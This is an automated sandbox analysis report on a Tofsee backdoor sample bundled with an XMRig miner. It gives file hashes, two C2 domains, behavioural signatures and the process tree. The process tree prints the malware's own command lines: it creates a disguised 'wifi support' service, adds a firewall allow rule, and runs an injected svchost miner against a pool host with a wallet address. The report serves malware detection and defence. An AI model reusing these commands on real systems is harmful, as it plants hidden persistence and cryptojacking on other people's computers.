Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 09:22

General

  • Target

    6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d.exe

  • Size

    260KB

  • MD5

    c7e24f51ff3ee2fbb9392ba9b7bd0d3e

  • SHA1

    28a06e0bc71309eda4b4d03be212aeef8729d9a2

  • SHA256

    6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d

  • SHA512

    c8fe34404bd6286f5852804bd14ff2196c73231927d722291c7d6af3404c6604c304526eb3a98c2f7a3a3a5c319851907c8eb2eae7621d5fc23c4b62b6621cbd

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d.exe
    "C:\Users\Admin\AppData\Local\Temp\6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vdzxsuvm\
      2⤵
        PID:1128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xajgunfo.exe" C:\Windows\SysWOW64\vdzxsuvm\
        2⤵
          PID:4664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vdzxsuvm binPath= "C:\Windows\SysWOW64\vdzxsuvm\xajgunfo.exe /d\"C:\Users\Admin\AppData\Local\Temp\6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:64
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vdzxsuvm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vdzxsuvm
          2⤵
          • Launches sc.exe
          PID:4212
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 1036
          2⤵
          • Program crash
          PID:3932
      • C:\Windows\SysWOW64\vdzxsuvm\xajgunfo.exe
        C:\Windows\SysWOW64\vdzxsuvm\xajgunfo.exe /d"C:\Users\Admin\AppData\Local\Temp\6923c3456370478e97067ac681cc0340f95bbe99a9551c319a89b98dd87d8b6d.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4432
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 512
          2⤵
          • Program crash
          PID:1608
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2384 -ip 2384
        1⤵
          PID:4504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4432 -ip 4432
          1⤵
            PID:2268

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xajgunfo.exe

            Filesize

            14.2MB

            MD5

            b578f4ca22974425bff57b8f84eb0df1

            SHA1

            923e0c46863e2eb125acae59113fc0f48ed39326

            SHA256

            e4ab899634b451a57af17447554c5ee39bd8ab57fafc25c45c17005317595b1a

            SHA512

            c31ab74dbff9340cfca24119454978cf731b29554502d64e5a9b4c922910bc8b4b3d8383c8d91ea4143a11f0501e8ea3533294f510b60058808bed61958e4e36

          • C:\Windows\SysWOW64\vdzxsuvm\xajgunfo.exe

            Filesize

            14.2MB

            MD5

            b578f4ca22974425bff57b8f84eb0df1

            SHA1

            923e0c46863e2eb125acae59113fc0f48ed39326

            SHA256

            e4ab899634b451a57af17447554c5ee39bd8ab57fafc25c45c17005317595b1a

            SHA512

            c31ab74dbff9340cfca24119454978cf731b29554502d64e5a9b4c922910bc8b4b3d8383c8d91ea4143a11f0501e8ea3533294f510b60058808bed61958e4e36

          • memory/64-136-0x0000000000000000-mapping.dmp

          • memory/116-175-0x0000000001200000-0x00000000012F1000-memory.dmp

            Filesize

            964KB

          • memory/116-170-0x0000000001200000-0x00000000012F1000-memory.dmp

            Filesize

            964KB

          • memory/116-169-0x0000000000000000-mapping.dmp

          • memory/728-137-0x0000000000000000-mapping.dmp

          • memory/1128-130-0x0000000000000000-mapping.dmp

          • memory/2024-143-0x0000000000000000-mapping.dmp

          • memory/2024-148-0x0000000000890000-0x00000000008A5000-memory.dmp

            Filesize

            84KB

          • memory/2024-166-0x0000000002BF0000-0x0000000002BF7000-memory.dmp

            Filesize

            28KB

          • memory/2024-163-0x0000000007840000-0x0000000007C4B000-memory.dmp

            Filesize

            4.0MB

          • memory/2024-160-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

            Filesize

            20KB

          • memory/2024-144-0x0000000000890000-0x00000000008A5000-memory.dmp

            Filesize

            84KB

          • memory/2024-157-0x0000000001BE0000-0x0000000001BF0000-memory.dmp

            Filesize

            64KB

          • memory/2024-154-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

            Filesize

            24KB

          • memory/2024-151-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/2024-150-0x0000000000890000-0x00000000008A5000-memory.dmp

            Filesize

            84KB

          • memory/2384-142-0x0000000000400000-0x0000000000B34000-memory.dmp

            Filesize

            7.2MB

          • memory/2384-141-0x0000000000D02000-0x0000000000D12000-memory.dmp

            Filesize

            64KB

          • memory/2384-133-0x0000000000400000-0x0000000000B34000-memory.dmp

            Filesize

            7.2MB

          • memory/2384-132-0x0000000000CB0000-0x0000000000CC3000-memory.dmp

            Filesize

            76KB

          • memory/2384-131-0x0000000000D02000-0x0000000000D12000-memory.dmp

            Filesize

            64KB

          • memory/4212-138-0x0000000000000000-mapping.dmp

          • memory/4360-139-0x0000000000000000-mapping.dmp

          • memory/4432-149-0x0000000000400000-0x0000000000B34000-memory.dmp

            Filesize

            7.2MB

          • memory/4432-147-0x0000000000E5E000-0x0000000000E6E000-memory.dmp

            Filesize

            64KB

          • memory/4664-134-0x0000000000000000-mapping.dmp